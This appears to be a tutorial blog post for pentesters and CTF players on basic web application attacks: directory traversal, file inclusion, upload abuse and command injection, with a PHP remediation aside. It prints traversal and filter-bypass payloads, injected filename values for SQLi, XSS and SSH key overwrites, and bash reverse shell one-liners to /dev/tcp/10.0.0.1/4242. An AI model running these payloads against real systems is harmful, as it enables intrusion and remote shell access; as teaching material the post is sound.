Common Web App Attacks
This is a compendium of what I'll call "common" or really simple web application attacks. These can be pretty simple to understand, so we can talk about alot of them in one article, and if the application is vulnerable to any of these, it can often be a critical vulnerability that leads to either initial access, or at least (in a CTF anyway) can be the first little scratching point that leads to compromise.
Directory traversal
File paths on a system can be refered to either in an "absolute" sense, or in a "relative" sense. An absolute path would be something like /home/user/somefile.txt
, which gives us the location of somefile.txt
from the system root. A relative path on the other hand may look like ~/somefile.txt
, or importantly for our discussion: ../somefile.txt
. In this latter case, ../
means "one directory up from the current working directory".
So if we assume that the web server is running from /var/www/html
(default Apache wwwroot), something like ../../../etc/passwd
would point us to the Linux password file.
Often in real life, we may be in some arbitrary directory of an unknown depth into the file system. If we simply append a ridiculous number of ../
's, we'll hit the root directory. So we might try something like ../../../../../../../../../../../../../../../etc/passwd
. Even if we "overshoot" the correct number of ../
's, we'll sorta "cap out" at the root directory and still be ok.
Use Cases
Following are some basic practical use cases for directory traversal. For even more details, Hacktricks is always a good reference for stuff like this. PayloadsAllthethings also has some info on the topic.
Potential Attack Surfaces
While we can attempt directly traversing through the file path (e.g. http://example.com/../../../../etc/passwd
), most modern servers guard against this by default. Instead, we should look for parameters that take a filename as an argument. E.g. try hitting things like these:
http://example.com/page.php?file=
http://example.com/page.php?content=
http://example.com/page.php?page=
With the fact that routes are so common in modern web apps, even exposed GET parameters like this may be rare to actually see, so don't forget to probe pages with burpsuite for any POST parameters that may take filenames as well.
Interesting Files to try for
/etc/passwd
- Linux password file. In ancient times, this could give you password hashes, but these days those are in
/etc/shadow
, which is usually read protected. Still, it gives you a list of usernames, which can be useful for further enumeration or credentialed access attacks.
- Linux password file. In ancient times, this could give you password hashes, but these days those are in
/home/<username>/.shh/id_rsa
- User SSH key. Usually, the web server will run under a service account like
www-data
, and you won't be able to touch real user files, but sometimes misconfigured permissions can allow you to get ahold of this. - If you can get this and also can touch SSH, you pretty much have initial access.
- User SSH key. Usually, the web server will run under a service account like
- DB Connection files
- These will be somewhere readable by the webserver account, but the specifics will be arbitrary, so you may need to enumerate quite a bit.
- If you can get a source code read on any database connection script, try to locate anything it
include
s - Historically, systems like MySQL did not have secure ways to store passwords used by webapps to connect to the DB, so
mysql_connect()
would have to be called with plaintext credentials -- if you can find this connection script, you have credentialed access to the DB.
- Other web app and server configuration files
- Use your imagination and enumerate!
Various wordlists also exist that can help you designate targets, so do some googling around terms like "directory traversal wordlist" or "local file inclusion wordlist", etc.
Filter Bypassing
Poorly done blacklist style filtering can often detect something like ../
and exclude it, but will often miss uncommon use cases. Some common examples of how to do this would be:
....//
- By doubling up, a non-recursive filtering algorithm will remove the
../
in the middle of the term, but leave the remaining../
. I.e. the algo sees what's between the pipes here:..|../|/
.
- By doubling up, a non-recursive filtering algorithm will remove the
%2e%2e/
- URL encoding the dots. If the algo is only searching for literal
../
it may not parse this as an attempt.
- URL encoding the dots. If the algo is only searching for literal
..%25
- URL encoding the slash. Same logic as above
../<filename>%00
- Null byte termination can sometimes cause filters to misbehave.
There are a large plethora of other sneaky ways to chop and screw the traversal in order to confuse filtering algorithms, but making such a list gets extensive. In situ, it can often be better to simply use a word list to discover whether one of these filtering methods works. This is a decent example.
An aside on remediating this properly (click to expand)
As mentioned above, only poorly done blacklist filtering is really vulnerable to this. The proper way to mitigate path traversal is to detect a file's absolute path and check whether the user is supposed to have access to it.
So for instance, in PHP, I might do something like this to prevent traversal:
$permitted_dir="/var/www/html/your_directory";
//absolute path to the directory I want you to be able to read from
$input = realpath($_GET['something']);
//This fetches the absolute path of the file being requested.
//Note that you should probably have some sort of other sanitization applied to the input
// before this point instead of directly doing this to the raw GET parameter like this
$check = str_starts_with($input, $permitted_dir);
//This checks whether the absolute path of the requested file starts with the permitted directory's absolute path
//A traversal attempt to a file in a non-permitted directory would evaluate as false
if (!$check)
{
<do error handling stuff to prevent the app from continuing>
}
By evaluating and directly checking the absolute paths involved, it doesn't matter what weird character sequence the server sees, because our code evaluates it and converts it to the absolute path. We don't have to go on the blacklister's whack a mole hunt of trying to chase down every weird encoding method that can be used to sneak a relative path into our parameters, and instead have security by whitelisting a particular directory and denying by default access to any other path, regardless of whether it's reached through one traversal method or another.
File Inclusion
File inclusion attacks are often lumped in with directory traversal attacks due to the fact that they often have the same attack surfaces and the same payloads tend to trigger them. I.e. you will be using the same sort of directory traversal strings like ../
to probe for and exploit file inclusion.
They differ in a key respect, though. While simple directory traversal may only result in a simple read of an unauthorized file, file inclusion attacks proper take advantage of a language's include
statement to include a file as executable code within a script.
Basically, with simple directory traversal, we can get arbitrary file read. With file inclusion, we get arbitrary file execution, which becomes especially useful if we have any sort of write permissions on the system.
Local File Inclusion
Local file inclusion is when we use directory traversal to include a file in the server's filesystem into a script.
LFI can lead to RCE if we have write permissions anywhere on the server. This is true even if we're limited by filetype -- as long as we can save any arbitrary data, we should be able to gain RCE. This is because when a file is included, it is interpreted as text rather than as a binary.
Some common vectors to gain write access for RCE:
- HTTP server logs
- If we can read these, we may be able to insert a payload into either a URL or User-agent string header.
- Modern HTTP servers tend to have filters to remove anything that looks like server side scripting from the logs, though.
- File upload forms
- Works even with filetype limitations
- Build a payload by using
cat
to append a payload onto the permitted file. Output a file of the permitted type, upload and access it via LFI.
Remote File Inclusion
Remote file inclusions is similar to LFI, but instead of using directory traversal to gain access to a file on the server, we can arbitrarily point a resource to a URL on another computer. Obviously, this immediately leads to RCE, because we can simply host a malicious script on a remote host and point the vulnerable endpoint to it.
Note well that most server side engines disable remote includes by default, though, so this is not a common vector for gaining access.
File Upload Attacks
File uploads that are improperly sanitized can be abused in several ways.
Uploading Executables
Generally, file uploads should be whitelist sanitized for accepted filetypes. However, occasionally, blacklisting is used which can lead to problems when very uncommon filetypes are excluded.
For example, if we encounter a PHP upload script that blacklists .php
, it may be possible to use an uncommon file extension that the server will recognize as PHP, such as .php5
, or .phtml
.
If we can get a simple shell script uploaded this way, we can gain RCE this way.
Hacktricks has a more extensive list of useful unusual file extensions to test for this issue.
Abusing the filename
parameter
File uploads are handled as what are called "multipart/form-data" uploads. This format contains a field known as the Content-Disposition
, a parameter of which is filename
.
The filename
parameter is used to store the local name of the file on the client machine.
In improperly sanitized cases, this field may be used by the server side code for anything from naming the uploaded file when it is stored on the server, to placing references to the file in the server's SQL database.
Using CURL or a tool like Burpsuite, we can modify this parameter and use it for a number of injections:
- Try
../../../../../../../../../home/<USERNAME>/.ssh/id_rsa
to attempt to directory traverse and overwrite a user's SSH keys with one you generated yourself. - Try
sleep(5)-- -.png
to test if the filename can be used for SQLi - Try
<script>alert("it worked")</script>.png
to test if the filename can be used for XSS.
Command Injection
Command injection occurs when improper sanitization is applied to inputs that supply calls to passthrough functions in a server side language that invokes shell commands. An example in PHP would be system()
.
Often times, a vulnerable construction in the underlying code will look something like this:
system('ping' . $_GET['cmd'] . '');
This seems like it would be a piece of code that would run the ping command for some user supplied IP or domain, i.e. something like 192.168.1.1
being the value of $_GET['cmd']
. However, using special shell operators, we can easily inject arbitrary commands.
Following the above example, we could do something like:
192.168.1.1 && bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
The &&
token makes the command coming after it execute after the previous command finishes successfully.
We can also attempt to use $()
and `
to attempt to inject commands. Both of these are used to perform inline command execution, and may be able to gain execution if &&
is not permitted or otherwise won't work.
These would look like this in the above example:
$(bash -i >& /dev/tcp/10.0.0.1/4242 0>&1)
`bash -i >& /dev/tcp/10.0.0.1/4242 0>&1`
Effectively, what these will do is run the payload before the rest of the command executes. Since these are shells, the command will wait until the shell terminates to continue, e.g. with the ping
from the example.